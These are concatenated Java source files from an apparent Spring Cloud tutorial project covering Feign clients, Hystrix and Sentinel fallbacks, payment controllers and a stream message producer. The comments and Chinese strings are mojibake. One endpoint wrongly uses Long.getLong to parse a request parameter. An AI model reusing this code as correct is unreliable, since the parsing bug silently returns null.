public CommonResult<Payment> blockHandler(@PathVariable Long id, BlockException blockException) {
Payment payment = new Payment(id, null);
return new CommonResult<>(445, "blockHandler:" + blockException.getMessage(), payment);
}
//============OpenFeign
@GetMapping(value = "/paymentSQL/{id}")
public CommonResult<Payment> paymentSQL(@PathVariable("id") Long id){
return paymentService.paymentSQL(id);
}
@PostMapping(value = "/paymentSQL/getId")
public CommonResult<Payment> paymentSQL2(@RequestParam(required = false) String id){
return paymentService.paymentSQL2(Long.getLong(id));
}
}
```
IMessageProvider.java
```package com.srpingcloud.service;
public interface IMessageProvider {
void sendMsg();
}
```
Payment.java
```package com.springcloud.entity;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import java.io.Serializable;
/**
* @author yanbin_vendor
*/
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Payment implements Serializable {
private Long id;
private String serial;
}
```
ApplicationContextConfig.java
```package com.springcloud.config;
import org.springframework.cloud.client.loadbalancer.LoadBalanced;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.client.RestTemplate;
/**
* @author yanbin_vendor
*/
@Configuration
public class ApplicationContextConfig {
@Bean
/**
* ่ด่ฝฝๅ่กก๏ผ ้ป่ฎค ่ฝฎ่ฏข่ด่ฝฝๆบๅถ๏ผ็ฎๆณ๏ผrestๆฅๅฃ็ฌฌๅ ๆฌก่ฏทๆฑๆฐ % ้็พคๆๅกๆฐ้ = ๅฎ้
่ฐ็จๆๅก็ไธๆ ๏ผๆฏๆฌกๆๅก้ๅฏrestๆฅๅฃ่ฎกๆฐไป1ๅผๅง๏ผ
*/
// @LoadBalanced
public RestTemplate getRestTemplate(){
return new RestTemplate();
}
}
```
PaymentFallbackService.java
```package com.springcloudalibaba.feign;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import org.springframework.stereotype.Component;
@Component
public class PaymentFallbackService implements PaymentService{
@Override
public CommonResult<Payment> paymentSQL(Long id) {
return new CommonResult<>(444, "ๆๅก้็บง่ฟๅ---PaymentFallbackService");
}
@Override
public CommonResult<Payment> paymentSQL2(Long id) {
return new CommonResult<>(444, "postๆๅก้็บง่ฟๅ---PaymentFallbackService");
}
}
```
OrderFeignController.java
```package com.springcloud.controller;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import com.springcloud.service.PaymentFeignService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class OrderFeignController {
@Autowired
private PaymentFeignService paymentFeignService;
@GetMapping(value = "/consumer/payment/get/{id}")
public CommonResult<Payment> getPaymentById(@PathVariable("id") Long id){
return paymentFeignService.getPaymentById(id);
}
@GetMapping(value = "/consumer/payment/feign/timeout")
String getPaymentFeignTimeOut(){
//openFeign-ribbion ้ป่ฎค1็ง
return paymentFeignService.getPaymentFeignTimeOut();
}
}
```
MessageProviderImpl.java
```package com.srpingcloud.service.impl;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cloud.stream.annotation.EnableBinding;
import org.springframework.cloud.stream.messaging.Source;
import org.springframework.messaging.MessageChannel;
import org.springframework.messaging.support.MessageBuilder;
import com.srpingcloud.service.IMessageProvider;
import java.util.UUID;
/**
* ่กจ็คบ่ฟไธช็ฑปๆฏไธชsource,่ด่ดฃ็ไบงๆถๆฏ๏ผๅนถไธๅ้็ปchannel
*/
@EnableBinding(Source.class)
public class MessageProviderImpl implements IMessageProvider {
@Autowired
private MessageChannel output; //ๆถๆฏๅ้้้
@Override
public void sendMsg() {
String s = UUID.randomUUID().toString();
output.send(MessageBuilder.withPayload(s).build());
System.out.println("*******serial:" + s);
}
}
```
PaymentService.java
```package com.springcloudalibaba.feign;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.stereotype.Service;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Service
@FeignClient(value = "nacos-payment-provider" ,fallback = PaymentFallbackService.class)
public interface PaymentService {
@GetMapping(value = "/paymentSQL/{id}")
public CommonResult<Payment> paymentSQL(@PathVariable("id") Long id);
@PostMapping(value = "/paymentSQL/getId")
public CommonResult<Payment> paymentSQL2(@RequestParam("id") Long id);
}
```
SendMessageController.java
```package com.srpingcloud.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import com.srpingcloud.service.impl.MessageProviderImpl;
@RestController
public class SendMessageController {
@Autowired
private MessageProviderImpl messageProvider;
@GetMapping("/send")
public void sendMessage(){
messageProvider.sendMsg();
}
}
```
PaymentHystrixService.java
```package com.springcloud.server;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.stereotype.Component;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
/**
* FeignClient: fallback ๅฎ็่ฟ่ก้ป่พๆฏ:
* ๅฝ่ฏทๆฑ่ฟๆฅ,้ฆๅ
่ฟๆฏ้่ฟFeign่ฟ็จ่ฐ็จpayๆจกๅๅฏนๅบ็ๆนๆณ
* ไฝๆฏๅฆๆpayๆจกๅๆฅ้,่ฐ็จๅคฑ่ดฅ,้ฃไนๅฐฑไผ่ฐ็จPaymentHystrixFallbackService็ฑป็
* ๅฝๅๅๅ็ๆนๆณ,ไฝไธบ้็บงๆนๆณ
*/
@Component
@FeignClient(value = "CLOUD-HYSTRIX-PAYMENT",fallback = PaymentHystrixFallbackService.class)
public interface PaymentHystrixService {
@GetMapping(value = "/payment/hystrix/ok/{id}")
String paymentInfo_OK(@PathVariable("id") Integer id);
@GetMapping(value = "/payment/hystrix/timeout/{id}")
String paymentInfo_TimeOut(@PathVariable("id") Integer id);
}
```
PaymentController.java
```package com.springcloud.controller;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import com.springcloud.service.PaymentService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.*;
import java.util.concurrent.TimeUnit;
/**
* @author yanbin_vendor
*/
@RestController
@Slf4j
public class PaymentController {
@Autowired
private PaymentService paymentService;
@Value("${server.port}")
private String serverPort;
@PostMapping(value = "/payment/create")
public CommonResult create(@RequestBody Payment payment) {
int id = paymentService.create(payment);
System.out.println("++++id:{}" + payment.getId());
if (id > 0) {
return new CommonResult(200, "ๆฐๆฎๆๅ
ฅๆๅ๏ผ" + serverPort, payment.getId());
} else {
return new CommonResult(444, "ๆฐๆฎๆๅ
ฅๅคฑ่ดฅ๏ผ" + serverPort);
}
}
@GetMapping(value = "/payment/get/{id}")
public CommonResult getPaymentById(@PathVariable("id") Long id) {
Payment paymentById = paymentService.getPaymentById(id);
if (paymentById != null) {
return new CommonResult(200, "ๆฅ่ฏขๆๅ๏ผ" + serverPort, paymentById);
} else {
return new CommonResult(444, "ๆฒกๆๆฅ่ฏขๅฐๆฐๆฎ,ๆฅ่ฏขid:" + id + "," + serverPort);
}
}
@GetMapping(value = "/payment/lb")
public String getPaymentLb() {
return serverPort;
}
@GetMapping(value = "/payment/feign/timeout")
public String getPaymentFeignTimeOut() {
try {
TimeUnit.SECONDS.sleep(3);
} catch (InterruptedException e) {
e.printStackTrace();
}
return serverPort;
}
}
```
PaymentController.java
```package com.springcloudalibaba.controller;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashMap;
@RestController
@RequestMapping(produces = "application/json")
public class PaymentController {
@Value("${server.port}")
private String serverPort;
private static HashMap<Long, Payment> hashMap = new HashMap<>();
static {
hashMap.put(1L,new Payment(1L,"112312312312312"));
hashMap.put(2L,new Payment(2L,"22222222223434343"));
hashMap.put(3L,new Payment(3L,"333333333312312"));
}
@GetMapping(value = "paymentSQL/{id}")
public CommonResult<Payment> paymentSQL(@PathVariable Long id){
System.out.println("****9004");
Payment payment = hashMap.get(id);
return new CommonResult<>(200,"from mysql "+serverPort,payment);
}
}
```
PaymentHystrixFallbackService.java
```package com.springcloud.server;
import org.springframework.stereotype.Component;
@Component
public class PaymentHystrixFallbackService implements PaymentHystrixService{
@Override
public String paymentInfo_OK(Integer id) {
return "-----PaymentHystrixFallbackService fall back paymentInfo_OK";
}
@Override
public String paymentInfo_TimeOut(Integer id) {
return "-----PaymentHystrixFallbackService fall back paymentInfo_TimeOut";
}
}
```
|